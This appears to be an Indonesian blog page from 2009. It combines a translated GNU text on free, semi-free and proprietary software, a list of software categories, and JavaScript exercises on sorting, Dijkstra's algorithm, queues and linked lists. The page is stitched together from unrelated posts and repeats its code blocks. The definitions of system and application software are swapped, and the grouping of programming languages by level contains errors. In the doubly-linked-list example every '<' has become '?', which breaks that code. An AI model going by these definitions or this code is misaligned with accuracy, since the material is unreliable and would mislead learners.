Copyleft merupakan konsep yang umum. Jadi, untuk meng-copyleft-kan sebuah program, anda harus menggunakan ketentuan distribusi tertentu. Terdapat berbagai cara untuk menulis perjanjian distribusi program copyleft.
Perangkat Lunak Bebas Non-copylefted
Perangkat lunak bebas non-copylefted dibuat oleh pembuatnya yang mengizinkan kita untuk mendistribusikan dan memodifikasi, dan untuk menambahkan batasan-batasan tambahan dalamnya.Jika suatu program bebas tapi tidak copylefted, maka beberapa salinan atau versi yang dimodifikasi bisa jadi tidak bebas sama sekali. Perusahaan perangkat lunak dapat mengkompilasi programnya, dengan atau tanpa modifikasi, dan mendistribusikan file tereksekusi sebagai produk perangkat lunak yang berpemilik.
Sistem X Window menggambarkan hal ini. Konsorsium X mengeluarkan X11 dengan ketentuan distribusi yang menetapkannya sebagai perangkat lunak bebas non-copylefted. Jika anda menginginkannya, anda dapat memperoleh salinan yang memiliki perjanjian distribusi dan juga bebas. Namun ada juga versi tidak bebasnya, dan ada workstation terkemuka serta perangkat grafik PC, dimana versi yang tidak bebas merupakan satu-satunya yang dapat bekerja disini. Jika anda menggunakan perangkat keras tersebut, X11 bukanlah perangkat lunak bebas bagi anda.
Perangkat Lunak GPL-covered
GNU GPL (General Public License) (20k huruf) merupakan sebuah kumpulan ketentuan pendistribusian tertentu untuk meng-copyleft-kan sebuah program. Proyek GNU menggunakannya sebagai perjanjian distribusi untuk sebagian besar perangkat lunak GNU.
Sistem GNU
Sistem GNU merupakan sistem serupa Unix yang seutuhnya bebas.Sistem operasi serupa Unix terdiri dari berbagai program. Sistem GNU mencakup seluruh perangkat lunak GNU, dan juga paket program lain, seperti sistem X Windows dam TeX yang bukan perangkat lunak GNU.
Kami telah mengembangkan dan mengumpulkan komponen untuk sistem GNU ini sejak tahun 1984. Pengedaran awal (percobaan) dari “sistem GNU lengkap” dilakukan tahun 1996. Sekarang (2001), sistem GNU ini bekerja secara handal, serta orang-orang bekerja dan mengembangkan GNOME, dan PPP dalam sistem GNU. Pada saat bersamaan sistem GNU/Linux, merupakan sebuah terobosan dari sistem GNU yang menggunakan Linux sebagai kernel dan mengalami sukses luar biasa.
Berhubung tujuan dari GNU ialah untuk kebebasan, maka setiap komponen dalam sistem GNU harus merupakan perangkat lunak bebas. Namun tidak berarti semuanya harus copylefted; setiap jenis perangkat lunak bebas dapat sah-sah saja jika menolong memenuhi tujuan teknis. Kita dapat menggunakan perangkat lunak non-copylefted seperti sistem X Window.
Program GNU
“Program GNU” setara dengan perangkat lunak GNU. Program Anu adalah program GNU jika ia merupakan perangkat lunak GNU.
Perangkat Lunak GNU
Perangkat lunak GNU merupakan perangkat lunak yang dikeluarkan oleh proyek GNU. Sebagian besar perangkat lunak GNU merupakan copylefted, tapi tidak semuanya; namun, semua perangkat lunak GNU harus merupakan perangkat lunak bebas.Jika suatu program adalah perangkat lunak GNU, kita juga menyebutnya sebagai program GNU.
Beberapa perangkat lunak GNU ditulis oleh staf dari Free Software Foundation (FSF, Yayasan Perangkat Lunak Bebas), namun sebagian besar perangkat lunak GNU merupakan kontribusi dari para sukarelawan. Beberapa perangkat lunak yang dikontribusikan merupakan hak cipta dari Free Software Foundation; beberapa merupakan hak cipta dari kontributor yang menulisnya.
Perangkat Lunak Semi-Bebas
Perangkat lunak semi-bebas adalah perangkat lunak yang tidak bebas, tapi mengizinkan setiap orang untuk menggunakan, menyalin, mendistribusikan, dan memodifikasinya (termasuk distribusi dari versi yang telah dimodifikasi) untuk tujuan non-laba. PGP adalah salah satu contoh dari program semi-bebas.Perangkat lunak semi-bebas jauh lebih baik dari perangkat lunak berpemilik, namun masih ada masalah, dan kita tidak dapat menggunakannya pada sistem operasi yang bebas.
Pembatasan dari copyleft dirancang untuk melindungi kebebasan bagi semua pengguna. Bagi kami, satu-satunya alasan untuk membatasi substantif dalam menggunakan program–ialah melarang orang lain untuk menambahkan batasan lain. Program semi-bebas memiliki batasan-batasan tambahan, yang dimotivasi oleh tujuan pribadi semata.
Sangat mustahil untuk menyertakan perangkat lunak semi-bebas pada sistem operasi bebas. Hal ini karena perjanjian distribusi untuk sistem operasi keseluruhan adalah gabungan dari perjanjian distribusi untuk semua program di dalamnya. Menambahkan satu program semi-bebas pada sistem akan membuat keseluruhan sistem menjadi semi-bebas. Terdapat dua alasan mengapa kami tidak menginginkan hal ini:
* Kami percaya bahwa perangkat lunak bebas seharusnya ditujukan bagi semuanya–termasuk pelaku bisnis, dan bukan hanya untuk sekolah dan sekedar hobi saja. Kami ingin mengundang kalangan bisnis untuk menggunakan keseluruhan sistem GNU, dan untuk itu kami tidak dapat menyertakan program semi-bebas di dalamnya.
* Distribusi komersial dari sistem operasi bebas, termasuk Sistem GNU/Linux sangat penting, dan para pengguna menghargai kemampuan untuk dapat membeli distribusi CD-ROM komersial. Menyertakan satu program semi-bebas dalam sistem operasi dapat memotong distribusi CD-ROM komersial untuknya.
Free Software Foundation sendiri adalah organisasi nirlaba, dan karena itu, kami diizinkan secara hukum untuk menggunakan program semi-bebas secara “internal”. Tapi kami tidak melakukannya, karena hal itu akan melemahkan upaya kami untuk memperoleh program yang dapat disertakan ke dalam GNU.
Jika ada pekerjaan yang berhubungan dengan perangkat lunak, maka sebelum kami memiliki program bebas untuk melakukan pekerjaan itu, sistem GNU memiliki kesenjangan. Kami harus memberitahukan kepada para sukarelawan, “Kami belum memiliki program untuk melakukan pekerjaan ini di GNU, jadi kami berharap Anda menulisnya sendiri.” Jika kami menggunakan program semi-bebas untuk untuk melakukan pekerjaan itu, hal itu akan melemahkan apa yang telah kami katakan; hal itu akan menghancurkan motivasi (bagi kami, dan orang lain yang memiliki pandangan yang sama) untuk menulis substitusi yang bebas. Jadi kami tidak melakukannya.
Perangkat Lunak Berpemilik
Perangkat lunak berpemilik ialah perangkat lunak yang tidak bebas ataupun semi-bebas. Kita dapat dilarang, atau harus meminta izin, atau akan dikenakan pembatasan lainnya sehingga menyulitkan–jika menggunakan, mengedarkan, atau memodifikasinya.Free Software Foundation mengikuti aturan bahwa kita tidak dapat memasang program-program berpemilik di komputer kita kecuali untuk sementara waktu dengan maksud menulis pengganti bebas untuk program tersebut. Disamping itu, kami merasa tidak; ada alasan untuk memasang sebuah program berpemilik.
Sebagai contoh, kami merasa sah dalam memasang Unix di komputer kami pada tahun 1980-an, sebab kami menggunakannya untuk menulis pengganti bebas untuk Unix. Sekarang, karena sistem operasi bebas telah tersedia, alasan ini tidak lagi dapat diterima; kami harus menghapus semua sistem operasi tidak bebas kami, dan setiap komputer yang kami pasang harus berjalan pada sistem operasi yang benar-benar bebas.
Kami tidak memaksa para pengguna GNU atau para kontributor GNU untuk mengikuti aturan ini. Ini adalah aturan yang kami buat untuk diri kami sendiri. Tapi kami berharap agar anda memutuskan untuk mengikutinya juga.
Freeware
Istilah “freeware” tidak terdefinisi dengan jelas, tapi biasanya digunakan untuk paket-paket yang mengizinkan redistribusi tetapi bukan pemodifikasian (dan kode programnya tidak tersedia). Paket-paket ini bukan perangkat lunak bebas, jadi jangan menggunakan istilah “freeware” untuk merujuk ke perangkat lunak bebas.
Shareware
Shareware ialah perangkat lunak yang mengijinkan orang-orang untuk meredistribusikan salinannya, tetapi mereka yang terus menggunakannya diminta untuk membayar biaya lisensi.Shareware bukan perangkat lunak bebas ataupun semi-bebas. Ada dua alasan untuk hal ini, yakni:
* Sebagian besar shareware, kode programnya tidak tersedia; jadi anda tidak dapat memodifikasi program tersebut sama sekali.
* Shareware tidak mengizinkan kita untuk membuat salinan dan memasangnya tanpa membayar biaya lisensi, tidak juga untuk orang-orang yang terlibat dalam kegiatan nirlaba (Dalam prakteknya, orang-orang sering tidak mempedulikan perjanjian distribusi dan tetap melakukan hal tersebut, tapi sebenarnya perjanjian tidak mengizinkannya).
Perangkat Lunak Komersial
Perangkat lunak komersial adalah perangkat lunak yang dikembangkan oleh kalangan bisnis untuk memperoleh keuntungan dari penggunaannya. “Komersial” dan “kepemilikan” adalah dua hal yang berbeda! Kebanyakan perangkat lunak komersial adalah berpemilik, tapi ada perangkat lunak bebas komersial, dan ada perangkat lunak tidak bebas dan tidak komersial.Sebagai contoh, GNU Ada selalu didistribusikan di bawah perjanjian GNU GPL, dan setiap salinannya adalah perangkat lunak bebas; tapi para pengembangnya menjual kontrak penunjang. Ketika penjualnya bicara kepada calon pembeli, terkadang pembeli tersebut mengatakan, “Kami merasa lebih aman dengan kompilator komersial.” Si penjual menjawab, “GNU Ada ialah kompilator komersial; hanya saja ia merupakan perangkat lunak bebas.”
Bagi proyek GNU, penekanannya ada pada hal yang sebaliknya: hal terpenting ialah GNU Ada merupakan perangkat lunak bebas; terlepas komersial atau bukan, itu bukan hal yang penting. Namun perkembangan tambahan GNU Ada yang dihasilkan dari komersialismenya adalah menguntungkan.
Harap sebarkan ke khalayak, perangkat lunak bebas komersial merupakan sesuatu yang mungkin. Sebaiknya, anda jangan mengatakan “komersial” ketika maksud anda ialah “berpemilik”.
Software merupakan produk dari perusahaan pembuat software yang banyak bermunculan sehubungan dengan kebutuhan berbagai masalah pekerjaan yang membutuhkan waktu singkat oleh pemakai komputer saat ini.
Software secara umum dapat dibagi menjadi 2 yaitu:
• Software Sistem
Suatu program yang digunakan untuk melakukan tugas-tugas yang spesifik.
• Software Aplikasi
Suatu program yang digunakan untuk mengontrol sumber daya komputer seperti CPU, piranti input dan output. Kedudukan program ini adalah sebagai perantara antara program aplikasi dan hardware.
Ada 4 kelompok besar software system:
• Operating System (Sistem Operasi)
Operating system merupakan program yang berfungsi untuk mengatur sistem kerja seluruh komputer seperti layaknya penerjemah antara hardware dan software yang akan dilakukannya.
Contoh :
- PC-DOS atau MS-DOS untuk Personal Computer (PC)
- Novell Netware dan UNIX untuk jaringan komputer
- Windows dan berbagai variannya untuk PC atau jaringan
- Linux dengan berbagai distronya untuk PC atau jaringan
• Tiga Fungsi Utama system operasi :
– Manajemen Proses
Mencakup persiapan, penjadwalan & pemantauan proses pada komputer.
– Manajemen Sumber Daya
Berkaitan dengan pengendalian thd pemakaian sumber daya dalam sistem komputer yang dilakukan oleh software sistem ataupun software aplikasi yang sedang dijalankan
– Manajemen Data
Berupa pengendalian thd data Input /Output termasuk dalam hal peng-alokasian piranti penyimpanan sekunder maupun memori utama.
Selain itu, Sistem Operasi mempunyai
sarana untuk mengelola keamanan
dengan mengharuskan user memasukkan
nama pemakai dan password sebelum
dapat menggunakan komputer
• Utility Software (Program Bantu)
Software ini merupakan software jadi yang digunakan untuk membantu mempermudah dalam menangani pekerjaan awal dalam pengoperasian komputer beserta perangkatnya. Misalnya untuk
- memeriksa (scanning),
- menganalisa (analyzing),
- memperbaiki (repairing),
- mencari (searching),
- menggandakan (copying) file
- dan sebagainya.
Contoh :
- Norton Utility (NU)
- PC Tools
- Xtree
- QuickDos
• Package Software (Program Paket)
a. Word Processing (Pengolah Kata)
Pengolah kata biasanya dipakai untuk pembuatan naskah.
Contoh :
- Word Star
- Word Perfect
- Microsoft Word
- Chi Writer
- PFS Write
b. Spread Sheet (Pengolah Angka)
Software ini dipakai lebih banyak untuk pembuatan tabel-tabel dan angka.
Contoh :
- Lotus 123
- Super Calc
- Symphony
- Quattro
- Microsoft Excel
c. Database (Pengolah Data Awal)
Software ini pada dasarnya digunakan untuk mengatur informasi-informasi sehingga dapat memudahkan pencarian atau penyimpanan.
Contoh :
- dBase III
- dBXL
- Foxbase
- Paradox
- RBase
d. Publisher (Pengolah Tata Letak)
Software ini banyak dipakai oleh perusahaan cetak mencetak, surat kabar atau penerbitan yang banyak memerlukan pengaturan bentuk, jenis dan tata letak karakter tertentu.
Contoh :
- Ventura Desktop Publishing
- Microsoft Publisher
- PageMaker
- Flash
- Corel
e. Aided Design (Pengolah Rancang Bangun)
Software ini pada dasarnya dipakai untuk pembuatan rancang bangun (design) sebuah benda, ruangan, bangunan gedung, peta kota dan sebagainya.
Contoh :
- AutoCAD
- ProDesign
- DR Hallo
f. Statistic (Pengolah Statistik)
Software ini dipakai untuk memecahkan permasalahan statistik baik di bidang ekonomi, teknik, kesehatan, sosial dan budaya.
Contoh :
- SPSS
- MicroStat
- MiniTab
g. Language Program (Bahasa Pemrograman)
Software ini banyak dipakai oleh seorang programmer, program ini berfungsi untuk menciptakan software-software baru yang digunakan untuk membantu/mempermudah kerja seorang operator komputer.
Contoh :
- Turbo Assembler (bahasa pemrograman tingkat rendah)
- Basic, Pascal, Fortran, Cobol, Visual Basic (bahasa pemrograman tingkat menengah)
- Clipper, FoxPro, Delphi, C+ (bahasa pemrograman tingkat tinggi)
Pada perkembangan selanjutnya software ini juga dipakai untuk merusak data, informasi atau software-software (bahkan juga hardware) yang lain. Hasil dari pembuatan program yang berfungsi untuk merusak ini dikenal dengan Virus. Kata “virus” sebenarnya adalah kata yang sengaja diambil dari dunia kedokteran untuk dipakai di dunia komputer, karena mempunyai sifat yang sama yaitu “merusak” (membuat penyakit).
Virus komputer sebenarnya adalah program juga, ia sengaja dibuat oleh seseorang (programmer) yang tidak senang dengan kesempurnaan, dia lebih senang membuat kerusakan. Oleh karena itu tindakan membuat virus komputer bisa dikatakan “sebuah kejahatan“.
h. Anti Virus
Software ini khusus untuk mengantisipasi (membunuh) virus yang mungkin bisa masuk ke dalam komputer, baik itu komputer yang sendirian (stand alone) atau komputer dalam jaringan (network).
Contoh :
- Dr. Solomon Anti Virus
- Norton Anti Virus
- McAfee Virus Scan
- PC-Cillin
• Applicated (Program Aplikasi)
Program ini merupakan program siap pakai, banyak dibuat untuk aplikasi-palikasi kerja tertentu seperti akuntansi, berbagai macam format, kartu-kartu, sampul buku, editing foto dan sebagainya.
Contoh :
- PrinShop
- PhotoShop
- DAC Easy
- Form Tools
- Free Hand
- Easy Flow
• Pendidikan
– Kamus, Ensiklopedia, Simulasi, dll
• Entertainment/Hiburan
– Game, Winamp, dll
• Bisnis
– Inventory, Pembukuan,Registrasi, dll
• Produktivitas Kerja
– Ms. Office, Manajemen Data, dll
• Software Khusus
– Software yang dibuat sesuai dengan keinginan user.
Jenis – jenis software yang lain antara lain:
• Software Komersial
– Bertujuan untuk dijual. Ada hak cipta
• Software Domain-Public
– Sifatnya gratis dan berupa source code
• Shareware
– Digunakan untuk evaluasi, tanpa source code
– Ada hak cipta dan ada yang Tidak ada.
• Rentalware
– Disewakan, ada hak cipta.
• Free Software
– Dilengkapi dengan source code
– Bersifat gratis/membayar dgn sangat murah
• Freeware
– Bersifat gratis, tanpa source code
– Menarik peminat untuk membeli versi lanjutannya
• Open Source
– Hampir sama dengan free software, hanya beda dalam hal filosofi.
– Terdapat hak-hak untuk pemakai.
• Hak untuk membuat salinan program dan men-distribusikan salinan tersebut.
• Hak untuk mengakses source code sebagai syarat untuk dapat melakukan pemodifikasian
• Hak untuk melakukan pengembangan thd program
Kamis, 25 Juni 2009
MODUL VIII PENGURUTAN (SORT)
<html>
<head>
<script LANGUAGE="JavaScript">
function Urutkan(form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i < inputData.length; i++)
{
inputData[i] = parseInt(inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}
inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value=DataString(inputData,0);
}
function DataString(ArrayData, Angka)
{
if ((ArrayData.length - 1) >= Angka)
return (ArrayData[Angka] + "," + DataString(ArrayData,(Angka + 1)));
else return "";
}
function bubbleSort(ArrayData, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j <= i; j++)
{
if (ArrayData[j+1] < ArrayData[j])
{
var DataTemporer = ArrayData[j];
ArrayData[j] = ArrayData[j+1];
ArrayData[j+1] = DataTemporer;
}
}
}
return ArrayData;
}
</script>
</head>
<body>
<center>
<form>
Masukan Deretan Angka, Pisahkan dengan Koma :
<hr>
<input type=text name=Data size=40 value="2,8,1,1,9,5,4,7,3">
<br>
<br>
<input type=button value="Urutkan" onClick="Urutkan(this.form)">
<br>
<br>
<br>
Hasil Pengurutan :
<hr>
<input type=text name=Hasil size=40>
</form>
</center>
</body>
</html>
<head>
<script LANGUAGE="JavaScript">
function Urutkan(form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i < inputData.length; i++)
{
inputData[i] = parseInt(inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}
inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value=DataString(inputData,0);
}
function DataString(ArrayData, Angka)
{
if ((ArrayData.length - 1) >= Angka)
return (ArrayData[Angka] + "," + DataString(ArrayData,(Angka + 1)));
else return "";
}
function bubbleSort(ArrayData, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j <= i; j++)
{
if (ArrayData[j+1] < ArrayData[j])
{
var DataTemporer = ArrayData[j];
ArrayData[j] = ArrayData[j+1];
ArrayData[j+1] = DataTemporer;
}
}
}
return ArrayData;
}
</script>
</head>
<body>
<center>
<form>
Masukan Deretan Angka, Pisahkan dengan Koma :
<hr>
<input type=text name=Data size=40 value="2,8,1,1,9,5,4,7,3">
<br>
<br>
<input type=button value="Urutkan" onClick="Urutkan(this.form)">
<br>
<br>
<br>
Hasil Pengurutan :
<hr>
<input type=text name=Hasil size=40>
</form>
</center>
</body>
</html>

MODUL VII GrapH
<html>
<head>
<title>Dijkstra Algorithms </title>
</head>
<body>
<script language = "javascript">
var NilaiAcuan = 10000;
var TakTerdefinisi = -1;
var NamaVerteks = new Array('A','B','C','D','E','F');
var Matriks = new Array(6);
function Bobot(a,b)
{
return Matriks[a][b];
}
function Dijkstra(JumlahVerteks,Awal,d)
{
var Posisi = new Array(JumlahVerteks);
var i;
var Kunjungan = new Array(JumlahVerteks);
var pred = new Array(JumlahVerteks);
for(i=0; i<JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
pred[i] = TakTerdefinisi;
Kunjungan[i] = false;
}
Posisi[Awal] = 0;
var Verteks;
for (Verteks = 0; Verteks < JumlahVerteks; Verteks++)
{
var JarakTerpendek = NilaiAcuan, closest = -1;
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (Posisi[i] <= JarakTerpendek)
{
JarakTerpendek = Posisi[i]; closest = i;
}
}
}
Kunjungan[closest] = true
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
var w = Bobot(closest, i);
if (Posisi[closest]+w < Posisi[i])
{
Posisi[i] = Posisi[closest] + w;
pred[i] = closest;
}
}
}
}
i=d
if (Posisi[i] < NilaiAcuan)
{
var Lintasan = NamaVerteks[i];
var Verteks = i;
while (Verteks>0)
{
Verteks = pred[Verteks];
if (Verteks>=0) Lintasan = NamaVerteks[Verteks] + '->' + Lintasan;
}
alert("Jarak :" + Posisi[i]+' ('+Lintasan+')'+'<br>');
}
else
{
alert("Tidak ada Jalur");
}
}
var x = '~';
document.write('<pre>');
document.write(Matriks[0]=new Array(0,2,3,x,x,x));
document.write('<br>');
document.write(Matriks[1]=new Array(2,0,3,6,x,x));
document.write('<br>');
document.write(Matriks[2]=new Array(3,3,0,3,5,x));
document.write('<br>');
document.write(Matriks[3]=new Array(x,6,3,0,1,3));
document.write('<br>');
document.write(Matriks[4]=new Array(x,x,5,1,0,1));
document.write('<br>');
document.write(Matriks[5]=new Array(x,x,x,3,1,0));
document.write('<br>');
document.write('</pre>');
document.write('<pre>A-2-B-6--D--3-F <br>');
document.write('\\ | /| / <br>');
document.write(' 3 3 3 1 1 <br>');
document.write(' \\ | / | / <br>');
document.write(' \\|/ |/ <br>');
document.write(' C--5-E <br> </pre>');
var Dari=0; // A
var Ke =5; // F
Dijkstra(Matriks.length,Dari,Ke);
//-->
</script>
</body>
</htmL>
<head>
<title>Dijkstra Algorithms </title>
</head>
<body>
<script language = "javascript">
var NilaiAcuan = 10000;
var TakTerdefinisi = -1;
var NamaVerteks = new Array('A','B','C','D','E','F');
var Matriks = new Array(6);
function Bobot(a,b)
{
return Matriks[a][b];
}
function Dijkstra(JumlahVerteks,Awal,d)
{
var Posisi = new Array(JumlahVerteks);
var i;
var Kunjungan = new Array(JumlahVerteks);
var pred = new Array(JumlahVerteks);
for(i=0; i<JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
pred[i] = TakTerdefinisi;
Kunjungan[i] = false;
}
Posisi[Awal] = 0;
var Verteks;
for (Verteks = 0; Verteks < JumlahVerteks; Verteks++)
{
var JarakTerpendek = NilaiAcuan, closest = -1;
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (Posisi[i] <= JarakTerpendek)
{
JarakTerpendek = Posisi[i]; closest = i;
}
}
}
Kunjungan[closest] = true
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
var w = Bobot(closest, i);
if (Posisi[closest]+w < Posisi[i])
{
Posisi[i] = Posisi[closest] + w;
pred[i] = closest;
}
}
}
}
i=d
if (Posisi[i] < NilaiAcuan)
{
var Lintasan = NamaVerteks[i];
var Verteks = i;
while (Verteks>0)
{
Verteks = pred[Verteks];
if (Verteks>=0) Lintasan = NamaVerteks[Verteks] + '->' + Lintasan;
}
alert("Jarak :" + Posisi[i]+' ('+Lintasan+')'+'<br>');
}
else
{
alert("Tidak ada Jalur");
}
}
var x = '~';
document.write('<pre>');
document.write(Matriks[0]=new Array(0,2,3,x,x,x));
document.write('<br>');
document.write(Matriks[1]=new Array(2,0,3,6,x,x));
document.write('<br>');
document.write(Matriks[2]=new Array(3,3,0,3,5,x));
document.write('<br>');
document.write(Matriks[3]=new Array(x,6,3,0,1,3));
document.write('<br>');
document.write(Matriks[4]=new Array(x,x,5,1,0,1));
document.write('<br>');
document.write(Matriks[5]=new Array(x,x,x,3,1,0));
document.write('<br>');
document.write('</pre>');
document.write('<pre>A-2-B-6--D--3-F <br>');
document.write('\\ | /| / <br>');
document.write(' 3 3 3 1 1 <br>');
document.write(' \\ | / | / <br>');
document.write(' \\|/ |/ <br>');
document.write(' C--5-E <br> </pre>');
var Dari=0; // A
var Ke =5; // F
Dijkstra(Matriks.length,Dari,Ke);
//-->
</script>
</body>
</htmL>

Rabu, 10 Juni 2009
tessssssss
?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("Isi LinkedList Awal =" + List.Ukuran() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " + List.ItemList(1));
List.Buang(1);
document.write("Isi Linked LIst Setelah Dibuang ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("?br>Isi LinkedList Terakhir =" + List.Ukuran() +"?br>");
//-->
?/script>
?/body>
?/html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("Isi LinkedList Awal =" + List.Ukuran() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " + List.ItemList(1));
List.Buang(1);
document.write("Isi Linked LIst Setelah Dibuang ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write("?br>Isi LinkedList Terakhir =" + List.Ukuran() +"?br>");
//-->
?/script>
?/body>
?/html>
Selasa, 09 Juni 2009
latihan Pertama Queque
<html>
<head>
<title>Program Queue dengan shift dan unshift javascript </title>
<script language ="JavaScript">
function DataQueue()
{
var queue =[];
queue.unshift(1);
queue.unshift(2);
var i = queue.pop();
document.write(i + "<br/>");
queue.unshift(3);
queue.unshift(4);
var i = queue.pop();
document.write(i + "<br/>");
}
</script>
</head>
<body>
<form name="FormStrukturData">
<input name="btnQueue" value="Queue" type="button"
onClick="DataQueue();"/>
</form>
</body>
</html>
<head>
<title>Program Queue dengan shift dan unshift javascript </title>
<script language ="JavaScript">
function DataQueue()
{
var queue =[];
queue.unshift(1);
queue.unshift(2);
var i = queue.pop();
document.write(i + "<br/>");
queue.unshift(3);
queue.unshift(4);
var i = queue.pop();
document.write(i + "<br/>");
}
</script>
</head>
<body>
<form name="FormStrukturData">
<input name="btnQueue" value="Queue" type="button"
onClick="DataQueue();"/>
</form>
</body>
</html>
latihan linkedList
<html>
<head>
<title>Struktur Data Linked List </title></head>
<body>
<script language = "JavaScript">
<!--
function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}
LinkedList.prototype =
{
construktor : LinkedList,
//Membuat Metode Untuk Menambah Data kedalam List
Tambah : function (data)
{
//Membuat Node List
var node = {data:data,next: null },NodeTanda;
//Periksa Isi List
if (this._kepala===null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++;
},
//Membuat Metode Untuk Menunjuk Item Data
Item : function (index)
{
if (index > -1 && index <this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i ++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Membuang Elemen List
Buang : function (index)
{
if (index > -1 && index < this._panjang)
{
var NodeTanda = this._kepala,previous,i = 0;
if (index === 0 )
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ < index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}
previous.next = NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Mengetahui Jumlah Elemen List
Ukuran :function()
{
return this._panjang;
},
//Membuat Metode Untuk Membentuk Array
toArray : function()
{
var result = [],
NodeTanda = this._kepala;
while(NodeTanda){
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
//Membuat Metode Untuk Konversi ke String
toString : function()
{
return this.toArray().toString();
}
};
//Lanjutan
var list = new LinkedList();
list.Tambah("Teknik Informatika");
list.Tambah("Teknik Komputer");
